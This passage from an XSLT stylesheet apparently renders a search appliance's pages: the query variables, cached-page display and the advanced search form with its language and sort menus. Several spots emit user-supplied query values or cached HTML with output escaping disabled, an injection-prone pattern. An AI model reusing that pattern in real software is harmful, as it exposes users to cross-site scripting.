  793.   <xsl:value-of select="/GSP/Q"/>
  794. </xsl:variable>
  795.  
  796. <xsl:variable name="html_escaped_query">
  797.   <xsl:value-of select="normalize-space($qval)" 
  798.     disable-output-escaping="yes"/>  
  799. </xsl:variable>
  800.  
  801. <!-- *** stripped_search_query: q, as_q, ... for cache highlight *** -->
  802. <xsl:variable name="stripped_search_query"><xsl:for-each 
  803.   select="/GSP/PARAM[(@name = 'q') or
  804.                      (@name = 'as_q') or
  805.                      (@name = 'as_oq') or
  806.                      (@name = 'as_epq')]"><xsl:value-of select="@original_value"
  807.   /><xsl:if test="position() != last()"
  808.     ><xsl:text disable-output-escaping="yes">+</xsl:text
  809.      ></xsl:if></xsl:for-each>
  810. </xsl:variable>
  811.  
  812. <xsl:variable name="access">
  813.   <xsl:choose>
  814.     <xsl:when test="/GSP/PARAM[(@name='access') and ((@value='s') or (@value='a'))]">
  815.       <xsl:value-of select="/GSP/PARAM[@name='access']/@original_value"/>
  816.     </xsl:when>
  817.     <xsl:otherwise>p</xsl:otherwise>
  818.   </xsl:choose>
  819. </xsl:variable>
  820.  
  821. <!-- **********************************************************************
  822.  Figure out what kind of page this is (do not customize)
  823.      ********************************************************************** -->
  824. <xsl:template match="GSP">
  825.   <xsl:choose>
  826.     <xsl:when test="Q">
  827.       <xsl:call-template name="search_results"/>
  828.     </xsl:when>
  829.     <xsl:when test="CACHE">
  830.       <xsl:call-template name="cached_page"/>
  831.     </xsl:when>
  832.     <xsl:when test="CUSTOM/HOME">
  833.       <xsl:call-template name="front_door"/>
  834.     </xsl:when>
  835.     <xsl:when test="CUSTOM/ADVANCED">
  836.       <xsl:call-template name="advanced_search"/>
  837.     </xsl:when>
  838.     <xsl:when test="H1">
  839.       <xsl:call-template name="server_error"/>
  840.     </xsl:when>
  841.     <xsl:otherwise>
  842.       <xsl:call-template name="error_page">
  843.         <xsl:with-param name="errorMessage" select="$xml_error_msg_text"/>
  844.         <xsl:with-param name="errorDescription" select="$xml_error_des_text"/>
  845.       </xsl:call-template>
  846.     </xsl:otherwise>
  847.   </xsl:choose>
  848. </xsl:template>
  849.  
  850. <!-- **********************************************************************
  851.  Cached page (do not customize)
  852.      ********************************************************************** -->
  853. <xsl:template name="cached_page">
  854. <xsl:variable name="cached_page_url" select="CACHE/CACHE_URL"/>
  855. <xsl:variable name="cached_page_html" select="CACHE/CACHE_HTML"/>
  856.  
  857. <!-- *** decide whether to load html page or pdf file *** -->
  858. <xsl:if test="'.pdf' != substring($cached_page_url, 
  859.   1 + string-length($cached_page_url) - string-length('.pdf'))">
  860.     <base href="{$cached_page_url}"/>
  861. </xsl:if>
  862.  
  863. <!-- *** display cache page header *** -->
  864. <xsl:call-template name="cached_page_header">
  865.   <xsl:with-param name="cached_page_url" select="$cached_page_url"/>
  866. </xsl:call-template>
  867.  
  868. <!-- *** display cached contents *** -->
  869. <xsl:value-of select="$cached_page_html" disable-output-escaping="yes"/>
  870. </xsl:template>
  871.  
  872. <xsl:template name="escape_quot">
  873.   <xsl:param name="string"/>
  874.   <xsl:call-template name="replace_string">
  875.     <xsl:with-param name="find" select="'"'"/>
  876.     <xsl:with-param name="replace" select="'&quot;'"/>
  877.     <xsl:with-param name="string" select="$string"/>
  878.   </xsl:call-template>
  879. </xsl:template>
  880.  
  881. <!-- **********************************************************************
  882.  Advanced search page (do not customize)
  883.      ********************************************************************** -->
  884. <xsl:template name="advanced_search">
  885.  
  886. <xsl:variable name="html_escaped_as_q">
  887.     <xsl:call-template name="escape_quot">
  888.       <xsl:with-param name="string" select="/GSP/PARAM[@name='q']/@value"/>
  889.     </xsl:call-template>
  890.     <xsl:call-template name="escape_quot">
  891.       <xsl:with-param name="string" select="/GSP/PARAM[@name='as_q']/@value"/>
  892.     </xsl:call-template>
  893. </xsl:variable>
  894.  
  895. <xsl:variable name="html_escaped_as_epq">
  896.     <xsl:call-template name="escape_quot">
  897.       <xsl:with-param name="string" select="/GSP/PARAM[@name='as_epq']/@value"/>
  898.     </xsl:call-template>
  899. </xsl:variable>
  900.  
  901. <xsl:variable name="html_escaped_as_oq">
  902.     <xsl:call-template name="escape_quot">
  903.       <xsl:with-param name="string" select="/GSP/PARAM[@name='as_oq']/@value"/>
  904.     </xsl:call-template>
  905. </xsl:variable>
  906.  
  907. <xsl:variable name="html_escaped_as_eq">
  908.     <xsl:call-template name="escape_quot">
  909.       <xsl:with-param name="string" select="/GSP/PARAM[@name='as_eq']/@value"/>
  910.     </xsl:call-template>
  911. </xsl:variable>
  912.  
  913. <html>
  914. <xsl:call-template name="langHeadStart"/>
  915. <title><xsl:value-of select="$adv_page_title"/></title>
  916. <xsl:call-template name="style"/>
  917.  
  918. <!-- script type="text/javascript" -->
  919. <script>
  920. <xsl:comment>
  921. function setFocus() { 
  922. document.f.as_q.focus(); }
  923. function esc(x){
  924. x = escape(x).replace(/\+/g, "%2b"); 
  925. if (x.substring(0,2)=="\%u") x="";
  926. return x;
  927. }
  928. function collecturl(target, custom) {
  929. var p = new Array();var i = 0;var url="";var z = document.f;
  930. if (z.as_q.value.length) {p[i++] = 'as_q=' + esc(z.as_q.value);}
  931. if (z.as_epq.value.length) {p[i++] = 'as_epq=' + esc(z.as_epq.value);}
  932. if (z.as_oq.value.length) {p[i++] = 'as_oq=' + esc(z.as_oq.value);}
  933. if (z.as_eq.value.length) {p[i++] = 'as_eq=' + esc(z.as_eq.value);}
  934. if (z.as_sitesearch.value.length)
  935.   {p[i++]='as_sitesearch='+esc(z.as_sitesearch.value);}
  936. if (z.as_lq.value.length) {p[i++] = 'as_lq=' + esc(z.as_lq.value);}
  937. if (z.as_occt.options[z.as_occt.selectedIndex].value.length)
  938.   {p[i++]='as_occt='+esc(z.as_occt.options[z.as_occt.selectedIndex].value);}
  939. if (z.as_dt.options[z.as_dt.selectedIndex].value.length)
  940.   {p[i++]='as_dt='+esc(z.as_dt.options[z.as_dt.selectedIndex].value);}
  941. if (z.lr.options[z.lr.selectedIndex].value != '') {p[i++] = 'lr=' + 
  942.   z.lr.options[z.lr.selectedIndex].value;}
  943. if (z.num.options[z.num.selectedIndex].value != '10') 
  944.   {p[i++] = 'num=' + z.num.options[z.num.selectedIndex].value;}
  945. if (z.sort.options[z.sort.selectedIndex].value != '') 
  946.   {p[i++] = 'sort=' + z.sort.options[z.sort.selectedIndex].value;}
  947. if (typeof(z.client) != 'undefined') 
  948.   {p[i++] = 'client=' + esc(z.client.value);}
  949. if (typeof(z.site) != 'undefined') 
  950.   {p[i++] = 'site=' + esc(z.site.value);}
  951. if (typeof(z.output) != 'undefined') 
  952.   {p[i++] = 'output=' + esc(z.output.value);}
  953. if (typeof(z.proxystylesheet) != 'undefined') 
  954.   {p[i++] = 'proxystylesheet=' + esc(z.proxystylesheet.value);}
  955. if (typeof(z.ie) != 'undefined') 
  956.   {p[i++] = 'ie=' + esc(z.ie.value);}
  957. if (typeof(z.oe) != 'undefined') 
  958.   {p[i++] = 'oe=' + esc(z.oe.value);}
  959. if (typeof(z.restrict) != 'undefined') 
  960.   {p[i++] = 'restrict=' + esc(z.restrict.value);}
  961. if (typeof(z.access) != 'undefined') 
  962.   {p[i++] = 'access=' + esc(z.access.value);}
  963. if (custom != '')
  964.   {p[i++] = 'proxycustom=' + '<ADVANCED/>';}
  965. if (p.length > 0) {
  966. url = p[0];
  967. for (var j = 1; j < p.length; j++) { url += "&" + p[j]; }}
  968.  location.href = target + '?' + url;
  969. }
  970. // </xsl:comment>
  971. </script>
  972.  
  973.   <xsl:call-template name="langHeadEnd"/>
  974.  
  975.   <body class="d" onload="setFocus()">
  976.  
  977.     <!-- *** Customer's own advanced search page header *** -->
  978.     <xsl:if test="$choose_adv_search_page_header = 'mine' or
  979.             $choose_adv_search_page_header = 'both'">
  980.       <xsl:call-template name="my_page_header"/>
  981.     </xsl:if>
  982.  
  983.     <!--====Advanced Search Header======-->
  984.     <xsl:if test="$choose_adv_search_page_header = 'provided' or
  985.             $choose_adv_search_page_header = 'both'">
  986.       <xsl:call-template name="advanced_search_header"/>
  987.     </xsl:if>
  988.  
  989.     <!--====Carry over Search Parameters======-->
  990.     <form method="get" action="/search" name="f">
  991.       <xsl:if test="PARAM[@name='client']">
  992.         <input type="hidden" name="client" 
  993.           value="{PARAM[@name='client']/@value}" />
  994.       </xsl:if>
  995.       <xsl:if test="PARAM[@name='site']">
  996.         <input type="hidden" name="site" value="{PARAM[@name='site']/@value}"/>
  997.       </xsl:if>
  998.       <xsl:if test="PARAM[@name='output']">
  999.         <input type="hidden" name="output" 
  1000.           value="{PARAM[@name='output']/@value}" />
  1001.       </xsl:if>
  1002.       <xsl:if test="PARAM[@name='proxystylesheet']">
  1003.         <input type="hidden" name="proxystylesheet" 
  1004.           value="{PARAM[@name='proxystylesheet']/@value}" />
  1005.       </xsl:if>
  1006.       <xsl:if test="PARAM[@name='ie']">
  1007.         <input type="hidden" name="ie" 
  1008.           value="{PARAM[@name='ie']/@value}" />
  1009.       </xsl:if>
  1010.       <xsl:if test="PARAM[@name='oe']">
  1011.         <input type="hidden" name="oe" 
  1012.           value="{PARAM[@name='oe']/@value}" />
  1013.       </xsl:if>
  1014.       <xsl:if test="PARAM[@name='restrict'] and 
  1015.                 $search_subcollections_xslt = ''">
  1016.         <input type="hidden" name="restrict" 
  1017.           value="{PARAM[@name='restrict']/@value}" />
  1018.       </xsl:if>
  1019.  
  1020.       <!--====Advanced Search Options======-->
  1021.  
  1022.       <table cellpadding="6" cellspacing="0" border="0" width="99%">
  1023.         <tr>
  1024.           <td><b>Advanced Web Search</b></td>
  1025.         </tr>
  1026.       </table>
  1027.  
  1028.       <table cellspacing="0" cellpadding="3" border="0" width="99%">
  1029.         <tr bgcolor="{$adv_search_panel_bgcolor}">
  1030.           <td>
  1031.             <table width="100%" cellspacing="0" cellpadding="0" border="0">
  1032.               <tr bgcolor="{$adv_search_panel_bgcolor}">
  1033.                 <td>
  1034.                   <table width="100%" cellspacing="0" cellpadding="2" 
  1035.                   border="0">
  1036.                     <tr>
  1037.                       <td valign="top" width="15%"><font size="-1"><br />
  1038.                       <b>Find results</b></font> </td>
  1039.  
  1040.                       <td width="85%">
  1041.                         <table width="100%" cellpadding="2"
  1042.                         border="0" cellspacing="0">
  1043.                           <tr>
  1044.                             <td><font size="-1">with <b>all</b>
  1045.                             of the words</font></td>
  1046.  
  1047.                             <td>
  1048.                             <xsl:text disable-output-escaping="yes">
  1049.                              <input type="text" 
  1050.                              name="as_q" 
  1051.                              size="25" value="</xsl:text>
  1052.                             <xsl:value-of disable-output-escaping="yes" 
  1053.                              select="$html_escaped_as_q"/>
  1054.                             <xsl:text disable-output-escaping="yes">"></xsl:text>
  1055.  
  1056.                             <script type="text/javascript">
  1057.                               <xsl:comment>
  1058.                                 document.f.as_q.focus();
  1059.                               // </xsl:comment>
  1060.                             </script>
  1061.                             </td>
  1062.  
  1063.                             <td valign="top" rowspan="4">
  1064.                             <font size="-1">
  1065.                             <select name="num">
  1066.                               <xsl:choose>
  1067.                                 <xsl:when test="PARAM[(@name='num') and (@value!='10')]">
  1068.                                   <option value="10">10 results</option>
  1069.                                 </xsl:when>
  1070.                                 <xsl:otherwise>
  1071.                                   <option value="10" selected="selected">10 results</option>
  1072.                                 </xsl:otherwise>
  1073.                               </xsl:choose>
  1074.                               <xsl:choose>
  1075.                                 <xsl:when test="PARAM[(@name='num') and (@value='20')]">
  1076.                                   <option value="20" selected="selected">20 results</option>
  1077.                                 </xsl:when>
  1078.                                   <xsl:otherwise>
  1079.                                     <option value="20">20 results</option>
  1080.                                 </xsl:otherwise>
  1081.                               </xsl:choose>
  1082.                               <xsl:choose>
  1083.                                 <xsl:when test="PARAM[(@name='num') and (@value='30')]">
  1084.                                   <option value="30" selected="selected">30 results</option>
  1085.                                 </xsl:when>
  1086.                                 <xsl:otherwise>
  1087.                                   <option value="30">30 results</option>
  1088.                                 </xsl:otherwise>
  1089.                               </xsl:choose>
  1090.                               <xsl:choose>
  1091.                                 <xsl:when test="PARAM[(@name='num') and (@value='50')]">
  1092.                                   <option value="50" selected="selected">50 results</option>
  1093.                                 </xsl:when>
  1094.                                 <xsl:otherwise>
  1095.                                   <option value="50">50 results</option>
  1096.                                 </xsl:otherwise>
  1097.                               </xsl:choose>
  1098.                               <xsl:choose>
  1099.                                 <xsl:when test="PARAM[(@name='num') and (@value='100')]">
  1100.                                   <option value="100" selected="selected">100 results</option>
  1101.                                 </xsl:when>
  1102.                                 <xsl:otherwise>
  1103.                                   <option value="100">100 results</option>
  1104.                                 </xsl:otherwise>
  1105.                               </xsl:choose>
  1106.                             </select>
  1107.                             </font>
  1108.                 </td>
  1109.                             <xsl:call-template name="subcollection_menu"/>
  1110.                             <td>
  1111.                             <font size="-1">
  1112.                             <input type="submit" name="btnG" 
  1113.                               value="{$search_button_text}" />
  1114.                             </font>
  1115.                             </td>
  1116.                           </tr>
  1117.  
  1118.                           <tr>
  1119.                             <td nowrap="nowrap"><font size="-1">with the
  1120.                             <b>exact phrase</b></font></td>
  1121.  
  1122.                             <td>
  1123.                         <xsl:text disable-output-escaping="yes">
  1124.                              <input type="text" 
  1125.                              name="as_epq" 
  1126.                              size="25" value="</xsl:text>
  1127.                             <xsl:value-of disable-output-escaping="yes" 
  1128.                              select="$html_escaped_as_epq"/>
  1129.                             <xsl:text disable-output-escaping="yes">"></xsl:text>
  1130.                             </td>
  1131.                           </tr>
  1132.  
  1133.                           <tr>
  1134.                             <td nowrap="nowrap"><font size="-1">with <b>any</b>
  1135.                             of the words</font></td>
  1136.  
  1137.                             <td>
  1138.                         <xsl:text disable-output-escaping="yes">
  1139.                              <input type="text" 
  1140.                              name="as_oq" 
  1141.                              size="25" value="</xsl:text>
  1142.                             <xsl:value-of disable-output-escaping="yes" 
  1143.                              select="$html_escaped_as_oq"/>
  1144.                             <xsl:text disable-output-escaping="yes">"></xsl:text>
  1145.                             </td>
  1146.                           </tr>
  1147.  
  1148.                           <tr>
  1149.                             <td nowrap="nowrap"><font size="-1"><b>without</b>
  1150.                             the words</font></td>
  1151.  
  1152.                             <td>
  1153.                         <xsl:text disable-output-escaping="yes">
  1154.                              <input type="text" 
  1155.                              name="as_eq" 
  1156.                              size="25" value="</xsl:text>
  1157.                             <xsl:value-of disable-output-escaping="yes" 
  1158.                              select="$html_escaped_as_eq"/>
  1159.                             <xsl:text disable-output-escaping="yes">"></xsl:text>
  1160.                             </td>
  1161.                           </tr>
  1162.                         </table>
  1163.                       </td>
  1164.                     </tr>
  1165.                   </table>
  1166.                 </td>
  1167.               </tr>
  1168.  
  1169.               <tr bgcolor="{$global_bg_color}">
  1170.                 <td>
  1171.                   <table width="100%" cellspacing="0"
  1172.                   cellpadding="2" border="0">
  1173.                     <tr>
  1174.                       <td width="15%"><font size="-1"><b>Language</b></font></td>
  1175.  
  1176.                       <td width="40%"><font size="-1">Return pages written
  1177.                       in</font></td>
  1178.         
  1179.               <td><font size="-1">
  1180.                       
  1181.                      <xsl:choose>
  1182.             <xsl:when test="PARAM[(@name='oe') and (@value!='')]"> 
  1183.                           <xsl:text disable-output-escaping="yes"><select name="lr"></xsl:text>
  1184.                         </xsl:when>
  1185.                         <xsl:otherwise>
  1186.                           <xsl:text disable-output-escaping="yes"><select name="lr" onchange="javascript:collecturl('/search', 'adv');"></xsl:text>
  1187.                         </xsl:otherwise>
  1188.                       </xsl:choose>
  1189.  
  1190.                         <option value="">any language</option>
  1191.  
  1192.                         <xsl:choose>
  1193.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_zh-CN')]">
  1194.                             <option value="lang_zh-CN" 
  1195.                               selected="selected">Chinese (Simplified)</option>
  1196.                           </xsl:when>
  1197.                           <xsl:otherwise>
  1198.                             <option value="lang_zh-CN">Chinese (Simplified)</option>
  1199.                           </xsl:otherwise>
  1200.                         </xsl:choose>
  1201.  
  1202.                         <xsl:choose>
  1203.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_zh-TW')]">
  1204.                             <option value="lang_zh-TW" 
  1205.                               selected="selected">Chinese (Traditional)</option>
  1206.                           </xsl:when>
  1207.                           <xsl:otherwise>
  1208.                             <option value="lang_zh-TW">Chinese (Traditional)</option>
  1209.                           </xsl:otherwise>
  1210.                         </xsl:choose>
  1211.  
  1212.                         <xsl:choose>
  1213.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_cs')]">
  1214.                             <option value="lang_cs" selected="selected">Czech</option>
  1215.                           </xsl:when>
  1216.                           <xsl:otherwise>
  1217.                             <option value="lang_cs">Czech</option>
  1218.                           </xsl:otherwise>
  1219.                         </xsl:choose>
  1220.  
  1221.                         <xsl:choose>
  1222.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_da')]">
  1223.                             <option value="lang_da" selected="selected">Danish</option>
  1224.                           </xsl:when>
  1225.                           <xsl:otherwise>
  1226.                             <option value="lang_da">Danish</option>
  1227.                           </xsl:otherwise>
  1228.                         </xsl:choose>
  1229.  
  1230.                         <xsl:choose>
  1231.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_nl')]">
  1232.                             <option value="lang_nl" selected="selected">Dutch</option>
  1233.                           </xsl:when>
  1234.                           <xsl:otherwise>
  1235.                             <option value="lang_nl">Dutch</option>
  1236.                           </xsl:otherwise>
  1237.                         </xsl:choose>
  1238.  
  1239.                         <xsl:choose>
  1240.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_en')]">
  1241.                             <option value="lang_en" selected="selected">English</option>
  1242.                           </xsl:when>
  1243.                           <xsl:otherwise>
  1244.                             <option value="lang_en">English</option>
  1245.                           </xsl:otherwise>
  1246.                         </xsl:choose>
  1247.  
  1248.                         <xsl:choose>
  1249.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_et')]">
  1250.                             <option value="lang_et" selected="selected">Estonian</option>
  1251.                           </xsl:when>
  1252.                           <xsl:otherwise>
  1253.                             <option value="lang_et">Estonian</option>
  1254.                           </xsl:otherwise>
  1255.                         </xsl:choose>
  1256.  
  1257.                         <xsl:choose>
  1258.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_fi')]">
  1259.                             <option value="lang_fi" selected="selected">Finnish</option>
  1260.                           </xsl:when>
  1261.                           <xsl:otherwise>
  1262.                             <option value="lang_fi">Finnish</option>
  1263.                           </xsl:otherwise>
  1264.                         </xsl:choose>
  1265.  
  1266.                          <xsl:choose>
  1267.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_fr')]">
  1268.                             <option value="lang_fr" selected="selected">French</option>
  1269.                           </xsl:when>
  1270.                           <xsl:otherwise>
  1271.                             <option value="lang_fr">French</option>
  1272.                           </xsl:otherwise>
  1273.                         </xsl:choose>
  1274.  
  1275.                         <xsl:choose>
  1276.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_de')]">
  1277.                             <option value="lang_de" selected="selected">German</option>
  1278.                           </xsl:when>
  1279.                           <xsl:otherwise>
  1280.                             <option value="lang_de">German</option>
  1281.                           </xsl:otherwise>
  1282.                         </xsl:choose>
  1283.  
  1284.                         <xsl:choose>
  1285.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_el')]">
  1286.                             <option value="lang_el" selected="selected">Greek</option>
  1287.                           </xsl:when>
  1288.                           <xsl:otherwise>
  1289.                             <option value="lang_el">Greek</option>
  1290.                           </xsl:otherwise>
  1291.                         </xsl:choose>
  1292.  
  1293.                          <xsl:choose>
  1294.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_iw')]">
  1295.                             <option value="lang_iw" selected="selected">Hebrew</option>
  1296.                           </xsl:when>
  1297.                           <xsl:otherwise>
  1298.                             <option value="lang_iw">Hebrew</option>
  1299.                           </xsl:otherwise>
  1300.                         </xsl:choose>
  1301.  
  1302.                         <xsl:choose>
  1303.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_hu')]">
  1304.                             <option value="lang_hu" selected="selected">Hungarian</option>
  1305.                           </xsl:when>
  1306.                           <xsl:otherwise>
  1307.                             <option value="lang_hu">Hungarian</option>
  1308.                           </xsl:otherwise>
  1309.                         </xsl:choose>
  1310.  
  1311.                         <xsl:choose>
  1312.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_is')]">
  1313.                             <option value="lang_is" selected="selected">Icelandic</option>
  1314.                           </xsl:when>
  1315.                           <xsl:otherwise>
  1316.                             <option value="lang_is">Icelandic</option>
  1317.                           </xsl:otherwise>
  1318.                         </xsl:choose>
  1319.  
  1320.                         <xsl:choose>
  1321.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_it')]">
  1322.                             <option value="lang_it" selected="selected">Italian</option>
  1323.                           </xsl:when>
  1324.                           <xsl:otherwise>
  1325.                             <option value="lang_it">Italian</option>
  1326.                           </xsl:otherwise>
  1327.                         </xsl:choose>
  1328.  
  1329.                         <xsl:choose>
  1330.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_ja')]">
  1331.                             <option value="lang_ja" selected="selected">Japanese</option>
  1332.                           </xsl:when>
  1333.                           <xsl:otherwise>
  1334.                             <option value="lang_ja">Japanese</option>
  1335.                           </xsl:otherwise>
  1336.                         </xsl:choose>
  1337.  
  1338.                         <xsl:choose>
  1339.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_ko')]">
  1340.                             <option value="lang_ko" selected="selected">Korean</option>
  1341.                           </xsl:when>
  1342.                           <xsl:otherwise>
  1343.                             <option value="lang_ko">Korean</option>
  1344.                           </xsl:otherwise>
  1345.                         </xsl:choose>
  1346.  
  1347.                         <xsl:choose>
  1348.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_lv')]">
  1349.                             <option value="lang_lv" selected="selected">Latvian</option>
  1350.                           </xsl:when>
  1351.                           <xsl:otherwise>
  1352.                             <option value="lang_lv">Latvian</option>
  1353.                           </xsl:otherwise>
  1354.                         </xsl:choose>
  1355.  
  1356.                         <xsl:choose>
  1357.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_lt')]">
  1358.                             <option value="lang_lt" selected="selected">Lithuanian</option>
  1359.                           </xsl:when>
  1360.                           <xsl:otherwise>
  1361.                             <option value="lang_lt">Lithuanian</option>
  1362.                           </xsl:otherwise>
  1363.                         </xsl:choose>
  1364.  
  1365.                         <xsl:choose>
  1366.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_no')]">
  1367.                             <option value="lang_no" selected="selected">Norwegian</option>
  1368.                           </xsl:when>
  1369.                           <xsl:otherwise>
  1370.                             <option value="lang_no">Norwegian</option>
  1371.                           </xsl:otherwise>
  1372.                         </xsl:choose>
  1373.  
  1374.                         <xsl:choose>
  1375.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_pl')]">
  1376.                             <option value="lang_pl" selected="selected">Polish</option>
  1377.                           </xsl:when>
  1378.                           <xsl:otherwise>
  1379.                             <option value="lang_pl">Polish</option>
  1380.                           </xsl:otherwise>
  1381.                         </xsl:choose>
  1382.  
  1383.                         <xsl:choose>
  1384.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_pt')]">
  1385.                             <option value="lang_pt" selected="selected">Portuguese</option>
  1386.                           </xsl:when>
  1387.                           <xsl:otherwise>
  1388.                             <option value="lang_pt">Portuguese</option>
  1389.                           </xsl:otherwise>
  1390.                         </xsl:choose>
  1391.  
  1392.                         <xsl:choose>
  1393.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_ro')]">
  1394.                             <option value="lang_ro" selected="selected">Romanian</option>
  1395.                           </xsl:when>
  1396.                           <xsl:otherwise>
  1397.                             <option value="lang_ro">Romanian</option>
  1398.                           </xsl:otherwise>
  1399.                         </xsl:choose>
  1400.  
  1401.                         <xsl:choose>
  1402.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_ru')]">
  1403.                             <option value="lang_ru" selected="selected">Russian</option>
  1404.                           </xsl:when>
  1405.                           <xsl:otherwise>
  1406.                             <option value="lang_ru">Russian</option>
  1407.                           </xsl:otherwise>
  1408.                         </xsl:choose>
  1409.  
  1410.                         <xsl:choose>
  1411.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_es')]">
  1412.                             <option value="lang_es" selected="selected">Spanish</option>
  1413.                           </xsl:when>
  1414.                           <xsl:otherwise>
  1415.                             <option value="lang_es">Spanish</option>
  1416.                           </xsl:otherwise>
  1417.                         </xsl:choose>
  1418.  
  1419.                          <xsl:choose>
  1420.                           <xsl:when test="PARAM[(@name='lr') and (@value='lang_sv')]">
  1421.                             <option value="lang_sv" selected="selected">Swedish</option>
  1422.                           </xsl:when>
  1423.                           <xsl:otherwise>
  1424.                             <option value="lang_sv">Swedish</option>
  1425.                           </xsl:otherwise>
  1426.                         </xsl:choose>
  1427.                       <xsl:text disable-output-escaping="yes"></select></xsl:text>
  1428.               </font></td>
  1429.                     </tr>
  1430.                   </table>
  1431.                 </td>
  1432.               </tr>
  1433.  
  1434.               <tr bgcolor="{$global_bg_color}">
  1435.                 <td>
  1436.                   <table width="100%" cellspacing="0"
  1437.                   cellpadding="2" border="0">
  1438.                     <tr>
  1439.                       <td width="15%"><font size="-1"><b>Occurrences</b></font></td>
  1440.  
  1441.                       <td nowrap="nowrap" width="40%"><font size="-1">Return
  1442.                       results where my terms occur</font></td>
  1443.  
  1444.                       <td><font size="-1"><select
  1445.                       name="as_occt">
  1446.                         <xsl:choose>
  1447.                           <xsl:when test="PARAM[(@name='as_occt') and (@value!='any')]">
  1448.                             <option value="any"> anywhere in the page </option>
  1449.                           </xsl:when>
  1450.                           <xsl:otherwise>
  1451.                             <option value="any" selected="selected">
  1452.                               anywhere in the page
  1453.                             </option>
  1454.                           </xsl:otherwise>
  1455.                         </xsl:choose>
  1456.                         <xsl:choose>
  1457.                           <xsl:when test="PARAM[(@name='as_occt') and (@value='title')]">
  1458.                             <option value="title" selected="selected">in the title of the page</option>
  1459.                           </xsl:when>
  1460.                           <xsl:otherwise>
  1461.                             <option value="title">in the title of the page</option>
  1462.                           </xsl:otherwise>
  1463.                         </xsl:choose>
  1464.                         <xsl:choose>
  1465.                           <xsl:when test="PARAM[(@name='as_occt') and (@value='url')]">
  1466.                             <option value="url" selected="selected">in the url of the page</option>
  1467.                           </xsl:when>
  1468.                           <xsl:otherwise>
  1469.                             <option value="url">in the url of the page</option>
  1470.                           </xsl:otherwise>
  1471.                         </xsl:choose>
  1472.                       </select></font></td>
  1473.                     </tr>
  1474.                   </table>
  1475.                 </td>
  1476.               </tr>
  1477.  
  1478.               <tr bgcolor="{$global_bg_color}">
  1479.                 <td>
  1480.                   <table width="100%" cellpadding="2"
  1481.                   cellspacing="0" border="0">
  1482.                     <tr>
  1483.                       <td width="15%"><font size="-1"><b>Domains</b></font></td>
  1484.  
  1485.                       <td width="40%" nowrap="nowrap"><font size="-1"><select
  1486.                       name="as_dt">
  1487.                         <xsl:choose>
  1488.                           <xsl:when test="PARAM[(@name='as_dt') and (@value='i')]">
  1489.                             <option value="i" selected="selected">Only</option>
  1490.                           </xsl:when>
  1491.                           <xsl:otherwise>
  1492.                             <option value="i">Only</option>
  1493.                           </xsl:otherwise>
  1494.                         </xsl:choose>
  1495.                         <xsl:choose>
  1496.                           <xsl:when test="PARAM[(@name='as_dt') and (@value='e')]">
  1497.                             <option value="e" selected="selected">Don't</option>
  1498.                           </xsl:when>
  1499.                           <xsl:otherwise>
  1500.                             <option value="e">Don't</option>
  1501.                           </xsl:otherwise>
  1502.                         </xsl:choose>
  1503.                       </select>return results from the site or domain</font></td>
  1504.  
  1505.                       <td>
  1506.                         <table cellpadding="0" cellspacing="0"
  1507.                         border="0">
  1508.                           <tr>
  1509.                             <td>
  1510.                               <xsl:choose>
  1511.                                 <xsl:when test="PARAM[@name='as_sitesearch']">
  1512.                                   <input type="text" size="25" 
  1513.                                   value="{PARAM[@name='as_sitesearch']/@value}" 
  1514.                                   name="as_sitesearch" />
  1515.                                 </xsl:when>
  1516.                                 <xsl:otherwise>
  1517.                                   <input type="text" size="25" value="" name="as_sitesearch" />
  1518.                                 </xsl:otherwise>
  1519.                               </xsl:choose>
  1520.                             </td>
  1521.                           </tr>
  1522.  
  1523.                           <tr>
  1524.                             <td valign="top" nowrap="nowrap"><font size="-1">
  1525.                               <i>e.g. google.com, .org</i></font></td>
  1526.                           </tr>
  1527.                         </table>
  1528.                       </td>
  1529.                     </tr>
  1530.  
  1531.                     <!-- Sort by Date feature -->
  1532.             <tr>
  1533.                       <td width="15%"><font size="-1"><b>Sort</b></font></td>
  1534.  
  1535.                       <td width="40%" nowrap="nowrap"><font size="-1"><select
  1536.                       name="sort">
  1537.                         <xsl:choose>
  1538.                           <xsl:when test="PARAM[(@name='sort') and (@value='')]">
  1539.                             <option value="" selected="selected">by Relevance</option>
  1540.                           </xsl:when>
  1541.                           <xsl:otherwise>
  1542.                             <option value="">by Relevance</option>
  1543.                           </xsl:otherwise>
  1544.                         </xsl:choose>
  1545.                         <xsl:choose>
  1546.                           <xsl:when test="PARAM[(@name='sort') and (@value='date:D:S:d1')]">
  1547.                             <option value="date:D:S:d1" selected="selected">by Date</option>
  1548.                           </xsl:when>
  1549.                           <xsl:otherwise>
  1550.                             <option value="date:D:S:d1">by Date</option>
  1551.                           </xsl:otherwise>
  1552.                         </xsl:choose>
  1553.                       </select></font></td>
  1554.                     </tr>
  1555.                     <!-- Secure Search feature -->
  1556.                     <xsl:if test="$show_secure_radio != '0'"> 
  1557.             <tr>
  1558.                       <td width="15%"><font size="-1"><b>Security</b></font></td>
  1559.  
  1560.                       <td width="40%" nowrap="nowrap"><font size="-1">
  1561.                         <xsl:choose>
  1562.                           <xsl:when test="$access='p'">
  1563.                             <input type="radio" name="access" value="p" checked="checked" />Search public content only
  1564.                           </xsl:when>
  1565.                         <xsl:otherwise>
